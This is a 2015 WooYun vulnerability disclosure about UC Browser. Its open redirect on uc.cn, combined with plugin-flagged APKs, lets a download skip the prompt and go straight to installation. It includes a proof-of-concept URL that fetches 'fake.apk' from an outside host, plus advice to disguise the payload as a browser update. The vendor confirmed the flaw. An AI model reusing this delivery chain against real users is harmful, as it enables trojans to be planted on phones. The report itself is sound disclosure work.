当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0106283

漏洞标题：UC浏览器某缺陷可能导致手机被植入木马

相关厂商：UC Mobile

漏洞作者： Lyleaks

提交时间：2015-04-07 04:24

修复时间：2015-07-06 16:28

公开时间：2015-07-06 16:28

漏洞类型：设计错误/逻辑缺陷

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-07： 细节已通知厂商并且等待厂商处理中
2015-04-07： 厂商已经确认，细节仅向厂商公开
2015-04-10： 细节向第三方安全合作伙伴开放
2015-06-01： 细节向核心白帽子及相关领域专家公开
2015-06-11： 细节向普通白帽子公开
2015-06-21： 细节向实习白帽子公开
2015-07-06： 细节向公众公开

简要描述：

UC浏览器某缺陷可能导致手机被植入木马

详细说明：

UC浏览器默认下载APK时会有提示框

Screenshot_2015-04-06-14-11-46.png


并且下载完成之后不会自动进入安装界面

Screenshot_2015-04-06-14-12-29.png


但是在插件中心下载插件时发现，当点击安装时，不会有提示框，并且下载完成之后会自动进入安装界面。
查看源码时发现，下载APK的URL为

1.jpg


但是在非*.uc.cn域下无法直接访问该URL，所以我找了个*.uc.cn域下的URL跳转来绕过限制。

http://app.uc.cn/appstore/AppCenter/api/activate_uc?uc_param_str=nieidnutssvebipfcp&src=uc_video&dest_url=ext:uc_dw:http://addondl.uc.cn/resources/pkg/thunder.apk


访问上面的URL，会自动下载thunder.apk并进入安装界面

Screenshot_2015-04-06-14-20-31.png


Screenshot_2015-04-06-14-20-57.png


但是当我把下载地址改成我自己服务器上的APK时，发现下载完成之后并不会自动进入安装界面。
刚开始以为只有从uc.cn下载的APK才会自动进入安装界面，但是后来我把下载的插件传到我的服务器上下载时，发现也可以。所以不是下载地址地问题，而是APK的问题。
搜索了一下UC浏览器的插件，找到了开发文档，发现只有APK被浏览器识别为插件时，才会自动进入安装界面。

2.jpg


所以在AndroidManifest.xml加入上面代码。
要让用户安装，我们可以伪装成浏览器更新。
一般用户看到是在uc.cn域下的，并且提示更新，大部分都会点击安装。

Screenshot_2015-04-06-20-10-33.png


Screenshot_2015-04-06-20-10-55.png

漏洞证明：

访问下面的URL

http://app.uc.cn/appstore/AppCenter/api/activate_uc?uc_param_str=nieidnutssvebipfcp&src=uc_video&dest_url=ext%3Auc_dw%3Ahttp%3A%2F%2Fsandboxs-sandbox.stor.sinaapp.com%2Ffake.apk


浏览器会提示安装

Screenshot_2015-04-06-20-10-33.png

修复方案：

版权声明：转载请注明来源 Lyleaks@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-04-07 16:26

厂商回复：

漏洞存在，已转给相关人员处理，非常感谢！

最新状态：

暂无

漏洞评价：

评论

  1. 2015-04-08 12:58 | Lyleaks ( 普通白帽子 | Rank:137 漏洞数:9 | 这个人很聪明，什么也没有留下)

    第一个闪电

  2. 2015-04-08 14:54 | f4ck ( 实习白帽子 | Rank:42 漏洞数:7 | 有些人很牛B，一个漏洞能刷成N个。)

    突然就闪电了。

  3. 2015-04-08 18:00 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    雷劈了 大牛

  4. 2015-07-06 16:33 | 牛小帅 ( 路人 | Rank:0 漏洞数:1 | http://www.wooyun.org)

    大牛啊 都是高质量漏洞